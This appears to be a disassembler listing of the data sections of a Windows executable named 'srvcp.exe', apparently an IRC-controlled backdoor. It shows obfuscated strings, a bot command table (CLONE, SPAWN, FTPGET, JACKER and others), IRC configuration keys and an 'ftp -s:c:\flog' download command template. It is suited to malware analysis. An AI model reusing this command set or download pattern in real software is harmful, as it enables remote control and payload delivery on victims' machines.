.bss:004064A1      db ? ; unexplored
.bss:004064A2      db ? ; unexplored
.bss:004064A3      db ? ; unexplored
.bss:004064A4      db ? ; unexplored
.bss:004064A5      db ? ; unexplored
.bss:004064A6      dword_4064A6      dd ? ; DATA XREF: sub_404E78+15•r
.bss:004064A6      dword_4064A6      dd ? ; sub_404E78+4D•r ...
.bss:004064AA      dword_4064AA      dd ? ; DATA XREF: sub_404E78+5C•r
.bss:004064AA      dword_4064AA      dd ? ; sub_404E78+AE•r ...
.bss:004064AE      db ? ; unexplored
.bss:004064AF      db ? ; unexplored
.bss:004064B0      db ? ; unexplored
.bss:004064B1      db ? ; unexplored
.bss:004064B2      db ? ; unexplored
.bss:004064B3      db ? ; unexplored
.bss:004064B4      db ? ; unexplored
.bss:004064B5      db ? ; unexplored
.bss:004064B6      db ? ; unexplored
.bss:004064B7      db ? ; unexplored
.bss:004064B8      db ? ; unexplored
.bss:004064B9      db ? ; unexplored
.bss:004064BA      db ? ; unexplored
.bss:004064BB      db ? ; unexplored
.bss:004064BC      db ? ; unexplored
.bss:004064BD      db ? ; unexplored
.bss:004064BE      db ? ; unexplored
.bss:004064BF      db ? ; unexplored
.bss:004064C0      db ? ; unexplored
.bss:004064C1      db ? ; unexplored
.bss:004064C2      db ? ; unexplored
.bss:004064C3      db ? ; unexplored
.bss:004064C4      db ? ; unexplored
.bss:004064C5      db ? ; unexplored
.bss:004064C6      db ? ; unexplored
.bss:004064C7      db ? ; unexplored
.bss:004064C8      db ? ; unexplored
.bss:004064C9      db ? ; unexplored
.bss:004064CA      db ? ; unexplored
.bss:004064CB      db ? ; unexplored
.bss:004064CC      db ? ; unexplored
.bss:004064CD      db ? ; unexplored
.bss:004064CE      db ? ; unexplored
.bss:004064CF      db ? ; unexplored
.bss:004064D0      db ? ; unexplored
.bss:004064D1      db ? ; unexplored
.bss:004064D2      db ? ; unexplored
.bss:004064D3      db ? ; unexplored
.bss:004064D4      db ? ; unexplored
.bss:004064D5      db ? ; unexplored
.bss:004064D6      db ? ; unexplored
.bss:004064D7      db ? ; unexplored
.bss:004064D8      db ? ; unexplored
.bss:004064D9      db ? ; unexplored
.bss:004064DA      db ? ; unexplored
.bss:004064DB      db ? ; unexplored
.bss:004064DC      db ? ; unexplored
.bss:004064DD      db ? ; unexplored
.bss:004064DE      db ? ; unexplored
.bss:004064DF      db ? ; unexplored
.bss:004064E0      db ? ; unexplored
.bss:004064E1      db ? ; unexplored
.bss:004064E2      db ? ; unexplored
.bss:004064E3      db ? ; unexplored
.bss:004064E4      db ? ; unexplored
.bss:004064E5      db ? ; unexplored
.bss:004064E6      db ? ; unexplored
.bss:004064E7      db ? ; unexplored
.bss:004064E8      db ? ; unexplored

```

```

.bss:004064E9      db ? ; unexplored
.bss:004064EA      db ? ; unexplored
.bss:004064EB      db ? ; unexplored
.bss:004064EC      db ? ; unexplored
.bss:004064ED      db ? ; unexplored
.bss:004064EE      db ? ; unexplored
.bss:004064EF      db ? ; unexplored
.bss:004064F0      db ? ; unexplored
.bss:004064F1      db ? ; unexplored
.bss:004064F2      db ? ; unexplored
.bss:004064F3      db ? ; unexplored
.bss:004064F4      db ? ; unexplored
.bss:004064F5      db ? ; unexplored
.bss:004064F6      db ? ; unexplored
.bss:004064F7      db ? ; unexplored
.bss:004064F8      db ? ; unexplored
.bss:004064F9      db ? ; unexplored
.bss:004064FA      db ? ; unexplored
.bss:004064FB      db ? ; unexplored
.bss:004064FC      db ? ; unexplored
.bss:004064FD      db ? ; unexplored
.bss:004064FE      db ? ; unexplored
.bss:004064FF      byte_4064FF db ? ; unexplored ; DATA XREF: sub_404E78+26•r
                                     ; sub_404E78+144•w
.bss:00406500      db ? ; unexplored
.bss:00406501      db ? ; unexplored
.bss:00406502      db ? ; unexplored
.bss:00406503      db ? ; unexplored
.bss:00406504      db ? ; unexplored
.bss:00406505      db ? ; unexplored
.bss:00406506      db ? ; unexplored
.bss:00406507      db ? ; unexplored
.bss:00406508      db ? ; unexplored
.bss:00406509      db ? ; unexplored
.bss:0040650A      db ? ; unexplored
.bss:0040650B      db ? ; unexplored
.bss:0040650C      db ? ; unexplored
.bss:0040650D      db ? ; unexplored
.bss:0040650E      db ? ; unexplored
.bss:0040650F      db ? ; unexplored
.bss:00406510      db ? ; unexplored
.bss:00406511      db ? ; unexplored
.bss:00406512      db ? ; unexplored
.bss:00406513      db ? ; unexplored
.bss:00406514      db ? ; unexplored
.bss:00406515      db ? ; unexplored
.bss:00406516      db ? ; unexplored
.bss:00406517      db ? ; unexplored
.bss:00406518      db ? ; unexplored
.bss:00406519      db ? ; unexplored
.bss:0040651A      db ? ; unexplored
.bss:0040651B      db ? ; unexplored
.bss:0040651C      db ? ; unexplored
.bss:0040651D      db ? ; unexplored
.bss:0040651E      db ? ; unexplored
.bss:0040651F      db ? ; unexplored
.bss:00406520      db ? ; unexplored
.bss:00406521      db ? ; unexplored
.bss:00406522      db ? ; unexplored
.bss:00406523      db ? ; unexplored
.bss:00406524      db ? ; unexplored
.bss:00406525      db ? ; unexplored
.bss:00406526      db ? ; unexplored
.bss:00406527      db ? ; unexplored
.bss:00406528      db ? ; unexplored
.bss:00406529      db ? ; unexplored
.bss:0040652A      db ? ; unexplored
.bss:0040652B      db ? ; unexplored
.bss:0040652C      db ? ; unexplored
.bss:0040652D      db ? ; unexplored

```



```

.bss:00406574 db ? ; unexplored
.bss:00406575 db ? ; unexplored
.bss:00406576 db ? ; unexplored
.bss:00406577 db ? ; unexplored
.bss:00406578 db ? ; unexplored
.bss:00406579 db ? ; unexplored
.bss:0040657A db ? ; unexplored
.bss:0040657B db ? ; unexplored
.bss:0040657C db ? ; unexplored
.bss:0040657D db ? ; unexplored
.bss:0040657E db ? ; unexplored
.bss:0040657F db ? ; unexplored
.bss:00406580 db ? ; unexplored
.bss:00406581 db ? ; unexplored
.bss:00406582 db ? ; unexplored
.bss:00406583 db ? ; unexplored
.bss:00406584 db ? ; unexplored
.bss:00406585 db ? ; unexplored
.bss:00406586 db ? ; unexplored
.bss:00406587 db ? ; unexplored
.bss:00406588 db ? ; unexplored
.bss:00406589 db ? ; unexplored
.bss:0040658A db ? ; unexplored
.bss:0040658B db ? ; unexplored
.bss:0040658C db ? ; unexplored
.bss:0040658D db ? ; unexplored
.bss:0040658E db ? ; unexplored
.bss:0040658F db ? ; unexplored
.bss:00406590 db ? ; unexplored
.bss:00406591 db ? ; unexplored
.bss:00406592 db ? ; unexplored
.bss:00406593 db ? ; unexplored
.bss:00406594 db ? ; unexplored
.bss:00406595 db ? ; unexplored
.bss:00406596 db ? ; unexplored
.bss:00406597 db ? ; unexplored
.bss:00406598 db ? ; unexplored
.bss:00406599 db ? ; unexplored
.bss:0040659A db ? ; unexplored
.bss:0040659B db ? ; unexplored
.bss:0040659C db ? ; unexplored
.bss:0040659D db ? ; unexplored
.bss:0040659E db ? ; unexplored
.bss:0040659F db ? ; unexplored
.bss:004065A0 db ? ; unexplored
.bss:004065A1 db ? ; unexplored
.bss:004065A2 db ? ; unexplored
.bss:004065A3 db ? ; unexplored
.bss:004065A4 db ? ; unexplored
.bss:004065A5 db ? ; unexplored
.bss:004065A6 db ? ; unexplored
.bss:004065A7 db ? ; unexplored
.bss:004065A8 db ? ; unexplored
.bss:004065A9 db ? ; unexplored
.bss:004065AA db ? ; unexplored
.bss:004065AB db ? ; unexplored
.bss:004065AC db ? ; unexplored
.bss:004065AD db ? ; unexplored
.bss:004065AE db ? ; unexplored
.bss:004065AF db ? ; unexplored
.bss:004065B0 db ? ; unexplored
.bss:004065B1 db ? ; unexplored
.bss:004065B2 db ? ; unexplored
.bss:004065B3 db ? ; unexplored
.bss:004065B4 db ? ; unexplored
.bss:004065B5 db ? ; unexplored
.bss:004065B6 db ? ; unexplored
.bss:004065B7 db ? ; unexplored
.bss:004065B8 db ? ; unexplored
.bss:004065B9 db ? ; unexplored

```

```

.bss:004065B9 _bss          ends
.bss:004065B9
.rdata:00407000 ; Section 3. (virtual address 00007000)
.rdata:00407000 ; Virtual size           : 00000058 ( 88.)
.rdata:00407000 ; Section size in file       : 00000058 ( 88.)
.rdata:00407000 ; Offset to raw data for section: 00004E00
.rdata:00407000 ; Flags 40000020: Text Readable
.rdata:00407000 ; Alignment           : 16 bytes ?
.rdata:00407000 ; -----
.rdata:00407000 ; Segment type: Pure code
.rdata:00407000 _rdata      segment para public 'CODE' use32
.rdata:00407000          assume cs:_rdata
.rdata:00407000          ;org 407000h
.rdata:00407000          assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.rdata:00407000          dd 16h dup(0)
.rdata:00407000 _rdata      ends
.rdata:00407000
.data:00408000 ; Section 4. (virtual address 00008000)
.data:00408000 ; Virtual size           : 0000175C ( 5980.)
.data:00408000 ; Section size in file   : 0000175C ( 5980.)
.data:00408000 ; Offset to raw data for section: 00005000
.data:00408000 ; Flags C0000040: Data Readable Writable
.data:00408000 ; Alignment           : 16 bytes ?
.data:00408000 ; -----
.data:00408000 ; Segment type: Pure data
.data:00408000 _data      segment para public 'DATA' use32
.data:00408000          assume cs:_data
.data:00408000          ;org 408000h
.data:00408000          db 0 ;
.data:00408001          db 80h ; Ç
.data:00408002          db 0 ;
.data:00408003          db 0 ;
.data:00408004          db 0 ;
.data:00408005          db 0 ;
.data:00408006          db 0 ;
.data:00408007          db 0 ;
.data:00408008 dword_408008 dd 0 ; DATA XREF: .text:00401142*w
.data:00408008          ; .text:0040115C*w ...
.data:0040800C dword_40800C dd 0 ; DATA XREF: start+4C*w
.data:00408010          db 0 ;
.data:00408011          db 0 ;
.data:00408012          db 0 ;
.data:00408013          db 0 ;
.data:00408014 unk_408014 db 0 ; DATA XREF: start+B*o
.data:00408015          db 0 ;
.data:00408016          db 0 ;
.data:00408017          db 0 ;
.data:00408018 dword_408018 dd 0 ; DATA XREF: start+30*o
.data:00408018          ; start+46*r
.data:0040801C dword_40801C dd 0 ; DATA XREF: start+2B*o
.data:0040801C          ; start+40*r
.data:00408020 dword_408020 dd 0 ; DATA XREF: start+26*o
.data:00408020          ; start+3A*r
.data:00408024 dword_408024 dd 0 ; DATA XREF: .text:004011AA*r
.data:00408024          ; .text:004011BA*r
.data:00408028 dword_408028 dd 0 ; DATA XREF: .text:004010AB*w
.data:0040802C dword_40802C dd 0 ; DATA XREF: .text:004010B0*w
.data:0040802C          ; .text:004010C8*w
.data:00408030          db 0 ;
.data:00408031          db 0 ;
.data:00408032          db 0 ;
.data:00408033          db 0 ;
.data:00408034 aNhlPwf db 'nhl*pwf',0 ; DATA XREF: sub_4013F0+2D*o
.data:00408034          ; sub_4013F0+AF*o
.data:0040803C aAhkl db '|ahkl',0 ; DATA XREF: sub_4013F0+37*o
.data:0040803C          ; sub_403333+5A*o
.data:00408042 aWtwgr db 'wtwgr',0 ; DATA XREF: sub_4013F0+41*o
.data:00408042          ; sub_403333+1D9*o

```

```

.data:00408048 aCdkk          db '|cdkk',0          ; DATA XREF: sub_4013F0+4B•o
.data:00408048          ; sub_403333+20F•o
.data:0040804E aMfqecec          db 'mfqEce',0        ; DATA XREF: sub_4013F0+55•o
.data:0040804E          ; sub_403333+247•o
.data:00408055 aHPmfqecec          db '~h`PmfqEce',0    ; DATA XREF: sub_4013F0+5F•o
.data:00408055          ; sub_403333+27F•o
.data:00408060 aVYMjQldkg          db 'v}~y{*%mj&qldkg',0 ; DATA XREF: sub_4013F0+69•o
.data:00408060          ; sub_403333+8E•o
.data:00408070 unk_408070          db 27h ; '          ; DATA XREF: sub_4013F0+73•o
.data:00408070          ; sub_403333+2F7•o
.data:00408071          db 39h ; 9
.data:00408072          db 38h ; 8
.data:00408073          db 3Bh ; ;
.data:00408074          db 36h ; 6
.data:00408075          db 7Fh ; •
.data:00408076          db 6Fh ; o
.data:00408077          db 67h ; g
.data:00408078          db 26h ; &
.data:00408079          db 74h ; t
.data:0040807A          db 65h ; e
.data:0040807B          db 68h ; h
.data:0040807C          db 2Ah ; *
.data:0040807D          db 60h ; `
.data:0040807E          db 70h ; p
.data:0040807F          db 68h ; h
.data:00408080          db 0 ;
.data:00408081 aO_atu@vde@          db 'O_ATU@VDE@',0    ; DATA XREF: sub_4013F0+7D•o
.data:00408081          ; sub_403333+CC•o ...
.data:0040808C unk_40808C          db 11h ;              ; DATA XREF: sub_4013F0+87•o
.data:0040808C          ; sub_402E43+4C•o
.data:0040808D          db 60h ; `
.data:0040808E          db 39h ; 9
.data:0040808F          db 61h ; a
.data:00408090          db 37h ; 7
.data:00408091          db 6Eh ; n
.data:00408092          db 35h ; 5
.data:00408093          db 63h ; c
.data:00408094          db 33h ; 3
.data:00408095          db 64h ; d
.data:00408096          db 31h ; 1
.data:00408097          db 65h ; e
.data:00408098          db 2Fh ; /
.data:00408099          db 7Ah ; z
.data:0040809A          db 2Dh ; -
.data:0040809B          db 7Fh ; •
.data:0040809C          db 2Bh ; +
.data:0040809D          db 78h ; x
.data:0040809E          db 29h ; )
.data:0040809F          db 79h ; y
.data:004080A0          db 27h ; '
.data:004080A1          db 76h ; v
.data:004080A2          db 25h ; %
.data:004080A3          db 6Bh ; k
.data:004080A4          db 23h ; #
.data:004080A5          db 6Ch ; l
.data:004080A6          db 21h ; !
.data:004080A7          db 6Dh ; m
.data:004080A8          db 3Dh ; =
.data:004080A9          db 70h ; p
.data:004080AA          db 3Bh ; ;
.data:004080AB          db 71h ; q
.data:004080AC          db 39h ; 9
.data:004080AD          db 72h ; r
.data:004080AE          db 37h ; 7
.data:004080AF          db 7Fh ; •
.data:004080B0          db 35h ; 5
.data:004080B1          db 7Ch ; /
.data:004080B2          db 33h ; 3
.data:004080B3          db 75h ; u
.data:004080B4          db 31h ; 1

```



```

.data:004080B5      db 76h ; v
.data:004080B6      db 2Fh ; /
.data:004080B7      db 6Bh ; k
.data:004080B8      db 2Dh ; -
.data:004080B9      db 68h ; h
.data:004080BA      db 2Bh ; +
.data:004080BB      db 69h ; i
.data:004080BC      db 29h ; )
.data:004080BD      db 6Ah ; j
.data:004080BE      db 27h ; '
.data:004080BF      db 67h ; g
.data:004080C0      db 25h ; %
.data:004080C1      db 4Ah ; J
.data:004080C2      db 4Ch ; L
.data:004080C3      db 51h ; Q
.data:004080C4      db 48h ; H
.data:004080C5      db 0 ;
.data:004080C6      db 0 ;
.data:004080C7      db 0 ;
.data:004080C8      dword_4080C8 dd 45h ; DATA XREF: sub_40363D+5B•r
.data:004080C8      ; sub_4038BB+65•r
.data:004080CC      db 63h ; c
.data:004080CD      db 0 ;
.data:004080CE      db 0 ;
.data:004080CF      db 0 ;
.data:004080D0      db 62h ; b
.data:004080D1      db 0 ;
.data:004080D2      db 0 ;
.data:004080D3      db 0 ;
.data:004080D4      db 4Ah ; J
.data:004080D5      db 0 ;
.data:004080D6      db 0 ;
.data:004080D7      db 0 ;
.data:004080D8      db 65h ; e
.data:004080D9      db 0 ;
.data:004080DA      db 0 ;
.data:004080DB      db 0 ;
.data:004080DC      db 72h ; r
.data:004080DD      db 0 ;
.data:004080DE      db 0 ;
.data:004080DF      db 0 ;
.data:004080E0      db 38h ; 8
.data:004080E1      db 0 ;
.data:004080E2      db 0 ;
.data:004080E3      db 0 ;
.data:004080E4      db 3Ch ; <
.data:004080E5      db 0 ;
.data:004080E6      db 0 ;
.data:004080E7      db 0 ;
.data:004080E8      db 64h ; d
.data:004080E9      db 0 ;
.data:004080EA      db 0 ;
.data:004080EB      db 0 ;
.data:004080EC      db 78h ; x
.data:004080ED      db 0 ;
.data:004080EE      db 0 ;
.data:004080EF      db 0 ;
.data:004080F0      db 0 ;
.data:004080F1      db 0 ;
.data:004080F2      db 0 ;
.data:004080F3      db 0 ;
.data:004080F4      dword_4080F4 dd 43h ; DATA XREF: sub_40156D+120•r
.data:004080F8      db 4Ah ; J
.data:004080F9      db 0 ;
.data:004080FA      db 0 ;
.data:004080FB      db 0 ;
.data:004080FC      db 56h ; V
.data:004080FD      db 0 ;
.data:004080FE      db 0 ;
.data:004080FF      db 0 ;

```

```

.data:00408100      db  4Ah ; J
.data:00408101      db   0 ;
.data:00408102      db   0 ;
.data:00408103      db   0 ;
.data:00408104      db  73h ; s
.data:00408105      db   0 ;
.data:00408106      db   0 ;
.data:00408107      db   0 ;
.data:00408108      db  41h ; A
.data:00408109      db   0 ;
.data:0040810A      db   0 ;
.data:0040810B      db   0 ;
.data:0040810C      db  6Ch ; l
.data:0040810D      db   0 ;
.data:0040810E      db   0 ;
.data:0040810F      db   0 ;
.data:00408110      db  6Dh ; m
.data:00408111      db   0 ;
.data:00408112      db   0 ;
.data:00408113      db   0 ;
.data:00408114      db  49h ; I
.data:00408115      db   0 ;
.data:00408116      db   0 ;
.data:00408117      db   0 ;
.data:00408118      db  5Ah ; Z
.data:00408119      db   0 ;
.data:0040811A      db   0 ;
.data:0040811B      db   0 ;
.data:0040811C      db   0 ;
.data:0040811D      db   0 ;
.data:0040811E      db   0 ;
.data:0040811F      db   0 ;
.data:00408120      dword_408120 dd  1 ; DATA XREF: sub_403CB1+1B•r
.data:00408124      dword_408124 dd  2 ; DATA XREF: sub_403CB1+AE•r
.data:00408128      dword_408128 dd  3 ; DATA XREF: sub_403CB1+39•r
.data:0040812C      dword_40812C dd  4 ; DATA XREF: sub_403CB1+75•r
.data:00408130      dword_408130 dd  5 ; DATA XREF: sub_403CB1+57•r
.data:00408134      dword_408134 dd  6 ; DATA XREF: sub_403CB1+93•r
.data:00408138      dword_408138 dd  7 ; DATA XREF: sub_403CB1+E4•r
.data:0040813C      dword_40813C dd  8 ; DATA XREF: sub_403CB1+C9•r
.data:00408140      dword_408140 dd  9 ; DATA XREF: sub_403CB1+FF•r
.data:00408144      dword_408144 dd 0Bh ; DATA XREF: sub_403DBD+19•r
.data:00408148      dword_408148 dd 0Ch ; DATA XREF: sub_403DBD+35•r
.data:0040814C      dword_40814C dd 0Dh ; DATA XREF: sub_403DBD+51•r
.data:00408150      dword_408150 dd 0Eh ; DATA XREF: sub_403DBD+6D•r
.data:00408154      dword_408154 dd 0Fh ; DATA XREF: sub_403DBD+89•r
.data:00408158      dword_408158 dd 10h ; DATA XREF: sub_403DBD+A5•r
.data:0040815C      dword_40815C dd 11h ; DATA XREF: sub_403DBD+C1•r
.data:00408160      dword_408160 dd 12h ; DATA XREF: sub_403DBD+DD•r
.data:00408164      dword_408164 dd 13h ; DATA XREF: sub_403DBD+F9•r
.data:00408168      dword_408168 dd 14h ; DATA XREF: sub_403DBD+115•r
.data:0040816C      dword_40816C dd 15h ; DATA XREF: sub_403DBD+131•r
.data:00408170      dword_408170 dd 16h ; DATA XREF: sub_403DBD+14D•r
.data:00408174      dword_408174 dd 17h ; DATA XREF: sub_403DBD+169•r
.data:00408178      dword_408178 dd 18h ; DATA XREF: sub_403DBD+185•r
.data:0040817C      dword_40817C dd 19h ; DATA XREF: sub_403DBD+1A1•r
.data:00408180      dword_408180 dd 1Ah ; DATA XREF: sub_403DBD+1BD•r
.data:00408184      dword_408184 dd 1Bh ; DATA XREF: sub_403DBD+1D9•r
.data:00408188      dword_408188 dd 1Ch ; DATA XREF: sub_403DBD+1F5•r
.data:0040818C      dword_40818C dd 1Dh ; DATA XREF: sub_403DBD+211•r
.data:00408190      dword_408190 dd 1Eh ; DATA XREF: sub_403DBD+22D•r
.data:00408194      dword_408194 dd 1Fh ; DATA XREF: sub_403DBD+249•r
.data:00408198      dword_408198 dd 20h ; DATA XREF: sub_403DBD+265•r
.data:0040819C      dword_40819C dd 21h ; DATA XREF: sub_403DBD+281•r
.data:004081A0      dword_4081A0 dd 22h ; DATA XREF: sub_403DBD+29A•r
.data:004081A4      dword_4081A4 dd 23h ; DATA XREF: sub_403DBD+2B3•r
.data:004081A8      dword_4081A8 dd 24h ; DATA XREF: sub_403DBD+2CC•r
.data:004081AC      dword_4081AC dd 25h ; DATA XREF: sub_403DBD+2E5•r
.data:004081B0      db  65h ; e
.data:004081B1      db   0 ;

```

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.data:004081B2      db      0 ;
.data:004081B3      db      0 ;
.data:004081B4      db      66h ; f
.data:004081B5      db      0 ;
.data:004081B6      db      0 ;
.data:004081B7      db      0 ;
.data:004081B8      db      67h ; g
.data:004081B9      db      0 ;
.data:004081BA      db      0 ;
.data:004081BB      db      0 ;
.data:004081BC      db      68h ; h
.data:004081BD      db      0 ;
.data:004081BE      db      0 ;
.data:004081BF      db      0 ;
.data:004081C0      db      69h ; i
.data:004081C1      db      0 ;
.data:004081C2      db      0 ;
.data:004081C3      db      0 ;
.data:004081C4      db      6Ah ; j
.data:004081C5      db      0 ;
.data:004081C6      db      0 ;
.data:004081C7      db      0 ;
.data:004081C8      db      6Bh ; k
.data:004081C9      db      0 ;
.data:004081CA      db      0 ;
.data:004081CB      db      0 ;
.data:004081CC      db      6Ch ; l
.data:004081CD      db      0 ;
.data:004081CE      db      0 ;
.data:004081CF      db      0 ;
.data:004081D0      db      6Dh ; m
.data:004081D1      db      0 ;
.data:004081D2      db      0 ;
.data:004081D3      db      0 ;
.data:004081D4      db      6Eh ; n
.data:004081D5      db      0 ;
.data:004081D6      db      0 ;
.data:004081D7      db      0 ;
.data:004081D8      dword_4081D8      dd      0C9h ; DATA XREF: sub_40156D+4D7•r
.data:004081D8      dword_4081D8      dd      0CAh ; sub_40156D+5D8•r ...
.data:004081DC      dword_4081DC      dd      0CAh ; DATA XREF: sub_40156D+5FB•r
.data:004081DC      dword_4081DC      dd      0CBh ; sub_40156D+1143•r ...
.data:004081E0      dword_4081E0      dd      0CBh ; DATA XREF: sub_40156D+61E•r
.data:004081E0      dword_4081E0      dd      0CBh ; sub_40156D+10E8•r ...
.data:004081E4      aSrvcp_exe      db      'srvcp.exe',0
.data:004081EE      db      53h ; S
.data:004081EF      db      65h ; e
.data:004081F0      db      72h ; r
.data:004081F1      db      76h ; v
.data:004081F2      db      69h ; i
.data:004081F3      db      63h ; c
.data:004081F4      db      65h ; e
.data:004081F5      db      20h ;
.data:004081F6      db      50h ; P
.data:004081F7      db      72h ; r
.data:004081F8      dword_4081F8      dd      6C69666Fh ; DATA XREF: sub_40156D+A15•r
.data:004081FC      dword_4081FC      dd      7265h ; DATA XREF: sub_40156D+45B•r
.data:00408200      dd      offset loc_4019CF
.data:00408204      dd      offset loc_4019CF
.data:00408208      dd      offset loc_401AD6
.data:0040820C      dd      offset loc_401B45
.data:00408210      dd      offset loc_401C32
.data:00408214      dd      offset loc_401D4C
.data:00408218      dd      offset loc_402AC0
.data:0040821C      dd      offset loc_402C3E
.data:00408220      dd      offset loc_402BB2
.data:00408224      dd      offset loc_401F89
.data:00408228      dd      offset loc_401FA9
.data:0040822C      dd      offset loc_402130
.data:00408230      dd      offset loc_4022BA

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.data:00408234      dd offset loc_4022FD
.data:00408238      dd offset loc_402340
.data:0040823C      dd offset loc_4023A6
.data:00408240      dd offset loc_4023C6
.data:00408244      dd offset loc_4023F0
.data:00408248      dd offset loc_40241A
.data:0040824C      dd offset loc_402474
.data:00408250      dd offset loc_4024CE
.data:00408254      dd offset loc_402582
.data:00408258      dd offset loc_4025C5
.data:0040825C      dd offset loc_402AAF
.data:00408260      dd offset loc_402648
.data:00408264      dd offset loc_4026A3
.data:00408268      dd offset loc_402708
.data:0040826C      dd offset loc_40278F
.data:00408270      dd offset loc_4027E6
.data:00408274      dd offset loc_4028BB
.data:00408278      dd offset loc_402AAF
.data:0040827C      dd offset loc_4028DB
.data:00408280      dd offset loc_40294E
.data:00408284      dd offset loc_4029C1
.data:00408288      dd offset loc_4029EF
.data:0040828C      dd offset loc_402A1D
.data:00408290      unk_408290      db 77h ; w ; DATA XREF: sub_404283+101•o
.data:00408291      db 62h ; b
.data:00408292      db 0 ;
.data:00408293      aS_S_S_S      db '%s.%s.%s.%s',0 ; DATA XREF: sub_404283+E7•o
.data:0040829F      aFtpSCFlog    db 'ftp -s:c:\flog',0 ; DATA XREF: sub_404195+75•o
.data:004082AE      aSQuit        db '%s',0Ah ; DATA XREF: sub_404195+5E•o
.data:004082AE      db 'quit',0Ah,0
.data:004082B7      asc_4082B7    db '%%',0 ; DATA XREF: sub_404195+49•o
.data:004082BA      aW            db 'w',0 ; DATA XREF: sub_404195+6•o
.data:004082BC      aCFlog        db 'c:\flog',0 ; DATA XREF: sub_404195+B•o
.data:004082C4      unk_4082C4    db 0 ; ; DATA XREF: sub_4040AF+CC•o
.data:004082C5      db 0 ;
.data:004082C6      db 0 ;
.data:004082C7      db 0 ;
.data:004082C8      db 0 ;
.data:004082C9      db 0 ;
.data:004082CA      db 0 ;
.data:004082CB      db 0 ;
.data:004082CC      db 0 ;
.data:004082CD      db 0 ;
.data:004082CE      aChan         db 'CHAN',0 ; DATA XREF: sub_403DBD+2D3•o
.data:004082D3      aRemserver    db 'REMSERVER',0 ; DATA XREF: sub_403DBD+2BA•o
.data:004082DD      aAddserver    db 'ADDSERVER',0 ; DATA XREF: sub_403DBD+2A1•o
.data:004082E7      aSoupchan     db 'SOUPCHAN',0 ; DATA XREF: sub_403DBD+288•o
.data:004082F0      aSetName      db 'SETNAME',0 ; DATA XREF: sub_403DBD+26F•o
.data:004082F8      aReload       db 'RELOAD',0 ; DATA XREF: sub_403DBD+253•o
.data:004082FF      aSave         db 'SAVE',0 ; DATA XREF: sub_403DBD+237•o
.data:00408304      aRnick        db 'RNICK',0 ; DATA XREF: sub_403DBD+21B•o
.data:0040830A      aNosoup4you   db 'NOSOUP4YOU',0 ; DATA XREF: sub_403DBD+1FF•o
.data:00408315      aRelax        db 'RELAX',0 ; DATA XREF: sub_403DBD+1C7•o
.data:0040831B      aGrr          db 'GRR',0 ; DATA XREF: sub_403DBD+1AB•o
.data:0040831F      aTest         db 'TEST',0 ; DATA XREF: sub_403DBD+18F•o
.data:00408324      aRandnick     db 'RANDNICK',0 ; DATA XREF: sub_403DBD+173•o
.data:0040832D      aClonedie     db 'CLONEDIE',0 ; DATA XREF: sub_403DBD+157•o
.data:00408336      aClone        db 'CLONE',0 ; DATA XREF: sub_403DBD+13B•o
.data:0040833C      aSpawn        db 'SPAWN',0 ; DATA XREF: sub_403DBD+11F•o
.data:00408342      aFtpget       db 'FTPGET',0 ; DATA XREF: sub_403DBD+103•o
.data:00408349      aGetnodcc     db 'GETNODCC',0 ; DATA XREF: sub_403DBD+E7•o
.data:00408352      aGetdcc       db 'GETDCC',0 ; DATA XREF: sub_403DBD+CB•o
.data:00408359      aGetnonick    db 'GETNONICK',0 ; DATA XREF: sub_403DBD+AF•o
.data:00408363      aGetnick      db 'GETNICK',0 ; DATA XREF: sub_403DBD+93•o
.data:0040836B      aStopsack     db 'STOPSACK',0 ; DATA XREF: sub_403DBD+77•o
.data:00408374      aStopjack     db 'STOPJACK',0 ; DATA XREF: sub_403DBD+5B•o
.data:0040837D      aSacker       db 'SACKER',0 ; DATA XREF: sub_403DBD+3F•o
.data:00408384      aJacker       db 'JACKER',0 ; DATA XREF: sub_403DBD+23•o
.data:0040838B      aHelp         db 'HELP',0 ; DATA XREF: sub_403DBD+7•o
.data:00408390      a376          db '376',0 ; DATA XREF: sub_403CB1+ED•o

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.data:00408394 a303 db '303',0 ; DATA XREF: sub_403CB1+D2*o
.data:00408398 aQuit db 'QUIT',0 ; DATA XREF: sub_403CB1+9C*o
.data:0040839D aNotice db 'NOTICE',0 ; DATA XREF: sub_403CB1+81*o
.data:004083A4 aPing db 'PING',0 ; DATA XREF: sub_403CB1+63*o
.data:004083A9 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_403CB1+45*o
.data:004083B1 a433 db '433',0 ; DATA XREF: sub_403CB1+27*o
.data:004083B5 aNic db 'NIC',0 ; DATA XREF: sub_403CB1+9*o
.data:004083B9 aS db '%s=',0 ; DATA XREF: sub_4038BB+7D*o
.data:004083BD aA db 'a',0 ; DATA XREF: sub_4038BB+2F*o
.data:004083BF aSD db '%s:%d',0 ; DATA XREF: sub_403769+116*o
.data:004083C5 asc_4083C5 db '%[^=]=%[^',0 ; DATA XREF: sub_40363D+8F*o
.data:004083CF db ']',0
.data:004083D1 asc_4083D1 db '%[^',0Ah ; DATA XREF: sub_40363D+FC*o
.data:004083D1 db ']',0Ah,0
.data:004083D8 aR db 'r',0 ; DATA XREF: sub_40363D+25*o
.data:004083DA aServerD db 'SERVER%d',0 ; DATA XREF: sub_403333+29F*o
.data:004083DA ; sub_403333+2C4*o ...
.data:004083E3 aSoupchannel db 'SOUPCHANNEL',0 ; DATA XREF: sub_403333+263*o
.data:004083E3 ; sub_403769+E3*o
.data:004083EF aChannel db 'CHANNEL',0 ; DATA XREF: sub_403333+22B*o
.data:004083EF ; sub_403769+D0*o
.data:004083F7 aCommand db 'COMMAND',0 ; DATA XREF: sub_403333+1F3*o
.data:004083F7 ; sub_403769+BD*o
.data:004083FF aSetcommand db 'SETCOMMAND',0 ; DATA XREF: sub_403333+1BF*o
.data:004083FF ; sub_403769+AC*o
.data:0040840A aAggressive db 'AGGRESSIVE',0 ; DATA XREF: sub_403333+11B*o
.data:0040840A ; sub_403333+198*o ...
.data:00408415 aPassive db 'PASSIVE',0 ; DATA XREF: sub_403333+F1*o
.data:00408415 ; sub_403333+16F*o ...
.data:0040841D aSoup db 'SOUP',0 ; DATA XREF: sub_403333+C7*o
.data:0040841D ; sub_403333+146*o ...
.data:00408422 aMode db 'MODE',0 ; DATA XREF: sub_403333+AE*o
.data:00408422 ; sub_403769+4D*o ...
.data:00408427 aIrcname db 'IRCNAME',0 ; DATA XREF: sub_403333+71*o
.data:0040842F aNick db 'NICK',0 ; DATA XREF: sub_403333+43*o
.data:0040842F ; sub_403769+2B*o
.data:00408434 aSSUseridUnixSC db '%s, %s : USERID : UNIX : %s%c%c',0 ; DATA XREF: sub_402EBC+118*o
